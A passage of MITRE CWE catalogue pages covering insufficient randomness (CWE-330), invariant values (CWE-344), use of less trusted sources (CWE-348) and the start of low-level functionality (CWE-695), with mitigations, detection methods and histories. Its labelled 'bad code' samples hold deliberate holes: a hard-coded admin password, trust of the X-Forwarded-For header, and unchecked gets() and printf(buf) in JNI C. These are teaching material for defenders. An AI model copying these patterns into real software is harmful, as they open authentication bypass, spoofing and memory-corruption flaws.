Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Man-in-the-middle attack tool

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Cryptography
  • Authentication
  • Session Management
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Maintenance

As of CWE 4.3, CWE-330 and its descendants are being investigated by the CWE crypto team to identify gaps related to randomness and unpredictability, as well as the relationships between randomness and cryptographic primitives. This "subtree analysis" might result in the addition or deprecation of existing entries; the reorganization of relationships in some views, e.g. the research view (CWE-1000); more consistent use of terminology; and/or significant modifications to related entries.

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRandomness and Predictability
7 Pernicious KingdomsInsecure Randomness
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingCON33-CImpreciseAvoid race conditions when using library functions
CERT C Secure CodingMSC30-CCWE More AbstractDo not use the rand() function for generating pseudorandom numbers
CERT C Secure CodingMSC32-CCWE More AbstractProperly seed pseudorandom number generators
WASC11Brute Force
WASC18Credential/Session Prediction
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Using Poor Random Numbers" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Background_Details, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Description, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Randomness and Predictability

CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID: 344
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.323Reusing a Nonce, Key Pair in Encryption
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.587Assignment of a Fixed Address to a Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

The following code is an example of an internal hard-coded password in the back-end:

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0)
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) {
return(0)
}
//Diagnostic Mode
return(1);
}

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 2

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

(bad code)
Example Language:
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

+ Observed Examples
ReferenceDescription
Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

overlaps default configuration.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERStatic Value in Unpredictable Context
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Static Value in Unpredictable Context

CWE-348: Use of Less Trusted Source

Weakness ID: 348
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.
+ Demonstrative Examples

Example 1

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

(bad code)
Example Language: PHP 
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
$requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];

else{
$requestingIP = $_SERVER['REMOTE_ADDR'];
}

if(in_array($requestingIP,$ipAllowlist)){
generatePage();
return;
}
else{
echo "You are not authorized to view this page";
return;
}

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

(good code)
Example Language: PHP 
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
echo "This application cannot be accessed through a proxy.";
return;

else{
$requestingIP = $_SERVER['REMOTE_ADDR'];
}
...

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

+ Observed Examples
ReferenceDescription
Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.
Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.
Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.
PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUse of Less Trusted Source
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples

CWE-695: Use of Low-Level Functionality

Weakness ID: 695
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.
+ Extended Description
The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.245J2EE Bad Practices: Direct Management of Connections
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.246J2EE Bad Practices: Direct Use of Sockets
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.383J2EE Bad Practices: Direct Use of Threads
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.574EJB Bad Practices: Use of Synchronization Primitives
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.575EJB Bad Practices: Use of AWT Swing
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.576EJB Bad Practices: Use of Java I/O
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

(bad code)
Example Language: Java 
class Echo {

public native void runEcho();
static {

System.loadLibrary("echo");
}
public static void main(String[] args) {

new Echo().runEcho();
}
}
(bad code)
Example Language:
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>

JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
char buf[64];
gets(buf);
printf(buf);
}

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

